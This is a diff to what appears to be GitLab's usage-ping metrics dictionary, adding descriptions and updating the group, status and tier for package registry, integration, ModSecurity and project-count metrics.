@@ -2514,7 +2478,7 @@ Whether or not ModSecurity is set to logging mode
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2526,7 +2490,7 @@ Whether or not ModSecurity has not been installed into the cluster
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2538,7 +2502,7 @@ Cumulative count of packets identified as anomalous by ModSecurity since Usage P
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2550,7 +2514,7 @@ Cumulative count of packets processed by ModSecurity since Usage Ping was last r
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2562,7 +2526,7 @@ Whether or not ModSecurity statistics are unavailable
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `ultimate`
@@ -2688,15 +2652,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.instances_datadog_active`
-Missing description
+Count of active instance-level integrations for Datadog
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182553_instances_datadog_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.instances_discord_active`
@@ -2736,15 +2700,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.instances_ewm_active`
-Missing description
+Count of active instance-level integrations for EWM
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182620_instances_ewm_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.instances_external_wiki_active`
@@ -2774,13 +2738,13 @@ Tiers: `free`, `premium`, `ultimate`
Count of active instance-level integrations for GitHub
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175853_instances_github_active.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175853_instances_github_active.yml)
Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.instances_hangouts_chat_active`
@@ -2880,27 +2844,27 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.instances_mock_ci_active`
-Missing description
+Count of active instance-level integrations for Mock CI
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.instances_mock_monitoring_active`
-Missing description
+Count of active instance-level integrations for Mock Monitoring
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.instances_packagist_active`
@@ -3192,15 +3156,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.keys`
-Missing description
+Number of keys.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180752_keys.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.kubernetes_agent_gitops_sync`
@@ -3222,7 +3186,7 @@ Count of Kubernetes API proxy requests
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -3302,13 +3266,13 @@ Tiers: `premium`, `ultimate`
Number of users that are linked to LDAP
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174826_ldap_users.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174826_ldap_users.yml)
Group: `group::access`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.lfs_objects`
@@ -3316,7 +3280,7 @@ Missing description
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181009_lfs_objects.yml)
-Group: `group::package`
+Group: `group::create`
Status: `data_available`
@@ -3324,15 +3288,15 @@ Tiers: `free`
### `counts.license_management_jobs`
-Name on the GitLab license
+Count of License Scanning jobs run
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124854_license_management_jobs.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210204124854_license_management_jobs.yml)
-Group: `group::product intelligence`
+Group: `group::composition analysis`
Status: `data_available`
-Tiers: `premium`, `ultimate`
+Tiers: `ultimate`
### `counts.licenses_list_views`
@@ -3492,507 +3456,519 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_composer_delete_package`
-Missing description
+A count of Composer packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_composer_pull_package`
-Missing description
+A count of Composer packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_composer_push_package`
-Missing description
+A count of Composer packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_conan_delete_package`
-Missing description
+A count of Conan packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_conan_pull_package`
-Missing description
+A count of Conan packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_conan_push_package`
-Missing description
+A count of Conan packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_container_delete_package`
-Missing description
+A count of container images that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_container_pull_package`
-Missing description
+A count of container images that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_container_push_package`
-Missing description
+A count of container images that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_debian_delete_package`
-Missing description
+A count of Debian packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_debian_pull_package`
-Missing description
+A count of Debian packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_debian_push_package`
-Missing description
+A count of Debian packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_delete_package`
-Missing description
+A count of packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_delete_package_by_deploy_token`
-Missing description
+A count of packages that have been deleted using a Deploy Token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_delete_package_by_guest`
-Missing description
+A count of packages that have been deleted using a Guest
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_delete_package_by_user`
-Missing description
+A count of packages that have been deleted using a logged in user
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_generic_delete_package`
-Missing description
+A count of generic packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_generic_pull_package`
-Missing description
+A count of generic packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_generic_push_package`
-Missing description
+A count of generic packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_golang_delete_package`
-Missing description
+A count of Go modules that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_golang_pull_package`
-Missing description
+A count of Go modules that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_golang_push_package`
-Missing description
+A count of Go modules that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_helm_pull_package`
+
+Total count of pull Helm packages events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml)
+
+Group: `group::package`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_maven_delete_package`
-Missing description
+A count of Maven packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_maven_pull_package`
-Missing description
+A count of Maven packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_maven_push_package`
-Missing description
+A count of Maven packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_npm_delete_package`
-Missing description
+A count of npm packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_npm_pull_package`
-Missing description
+A count of npm packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_npm_push_package`
-Missing description
+A count of npm packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_nuget_delete_package`
-Missing description
+A count of NuGet packages that have been deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_nuget_pull_package`
-Missing description
+A count of NuGet packages that have been downloaded
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_nuget_push_package`
-Missing description
+A count of NuGet packages that have been published
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pull_package`
-Missing description
+A count of packages that have been downloaded from the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pull_package_by_deploy_token`
-Missing description
+A count of packages that have been downloaded from the package registry using a Deploy Token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pull_package_by_guest`
-Missing description
+A count of packages that have been downloaded from the package registry by a guest
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pull_package_by_user`
-Missing description
+A count of packages that have been downloaded from the package registry by a user
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_push_package`
-Missing description
+A count of packages that have been published to the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_push_package_by_deploy_token`
-Missing description
+A count of packages that have been published to the package registry using a deploy token
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_push_package_by_guest`
-Missing description
+A count of packages that have been published to the package registry by a Guest
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_push_package_by_user`
-Missing description
+A count of packages that have been published to the package registry by a user
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pypi_delete_package`
-Missing description
+A count of Python packages that have been deleted from the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pypi_pull_package`
-Missing description
+A count of Python packages that have been downloaded from the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_pypi_push_package`
-Missing description
+A count of Python packages that have been published to the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml)
-Group: ``
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_rubygems_delete_package`
@@ -4032,39 +4008,39 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_tag_delete_package`
-Missing description
+A count of package tags that have been deleted from the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_tag_pull_package`
-Missing description
+A count of package tags that have been downloaded from the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_tag_push_package`
-Missing description
+A count of package tags that have been published to the package registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml)
-Group: ``
+Group: `group::package`
-Status: `data_available`
+Status: `deprecated`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.package_events_i_package_terraform_module_delete_package`
@@ -4074,7 +4050,7 @@ Total count of Terraform Module packages delete events
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4086,7 +4062,7 @@ Total count of pull Terraform Module packages events
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -4098,13 +4074,13 @@ Total count of push Terraform Module packages events
Group: `group::configure`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.packages`
-Number of packages
+The total number of packages published to the registry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181012_packages.yml)
@@ -4112,7 +4088,7 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.pages_domains`
@@ -4128,7 +4104,7 @@ Tiers: `free`
### `counts.personal_snippets`
-Count of Personal Snippets
+Count of personal Snippets
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180239_personal_snippets.yml)
@@ -4144,9 +4120,9 @@ Count the total number of log views
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml)
-Group: `group::apm`
+Group: `group::monitor`
-Status: `data_available`
+Status: `removed`
Tiers: `free`
@@ -4164,7 +4140,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.productivity_analytics_views`
-Missing description
+Total visits to /groups/:group/-/analytics/productivity_analytics all time
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174834_productivity_analytics_views.yml)
@@ -4172,7 +4148,7 @@ Group: `group::optimize`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.project_clusters_disabled`
@@ -4200,7 +4176,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.project_snippets`
-Count of Project Snippetss
+Count of project Snippets
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180241_project_snippets.yml)
@@ -4308,7 +4284,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_creating_incidents`
-Counts of Projects that have created incidents
+Counts of Projects that have incident issues, regardless of status.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml)
@@ -4332,15 +4308,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_datadog_active`
-Missing description
+Count of projects with active integrations for Datadog
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182547_projects_datadog_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_discord_active`
@@ -4380,15 +4356,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_ewm_active`
-Missing description
+Count of projects with active integrations for EWM
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182614_projects_ewm_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_external_wiki_active`
@@ -4418,13 +4394,13 @@ Tiers: `free`, `premium`, `ultimate`
Count of projects with active integrations for GitHub
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175848_projects_github_active.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175848_projects_github_active.yml)
Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.projects_hangouts_chat_active`
@@ -4560,15 +4536,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_datadog_active`
-Missing description
+Count of active projects inheriting integrations for Datadog
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_discord_active`
@@ -4608,15 +4584,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_ewm_active`
-Missing description
+Count of active projects inheriting integrations for EWM
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_external_wiki_active`
@@ -4646,13 +4622,13 @@ Tiers: `free`, `premium`, `ultimate`
Count of active projects inheriting integrations for GitHub
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml)
Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.projects_inheriting_hangouts_chat_active`
@@ -4752,27 +4728,27 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_mock_ci_active`
-Missing description
+Count of active projects inheriting integrations for Mock CI
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_mock_monitoring_active`
-Missing description
+Count of active projects inheriting integrations for Mock Monitoring
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_inheriting_packagist_active`
@@ -5056,7 +5032,7 @@ Projects with repository mirroring enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181920_projects_mirrored_with_pipelines_enabled.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -5064,27 +5040,27 @@ Tiers: `premium`, `ultimate`
### `counts.projects_mock_ci_active`
-Missing description
+Count of projects with active integrations for Mock CI
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_mock_monitoring_active`
-Missing description
+Count of projects with active integrations for Mock Monitoring
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_packagist_active`
@@ -5280,7 +5256,7 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_disabled`
-Missing description
+The number of projects with cleanup policy for tags turned off
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml)
@@ -5288,11 +5264,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled`
-Missing description
+A count of projects with the cleanup policy for tags turned on
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml)
@@ -5300,11 +5276,11 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_14d`
-Missing description
+A count of projects with the cleanup policy set to run every 14 days
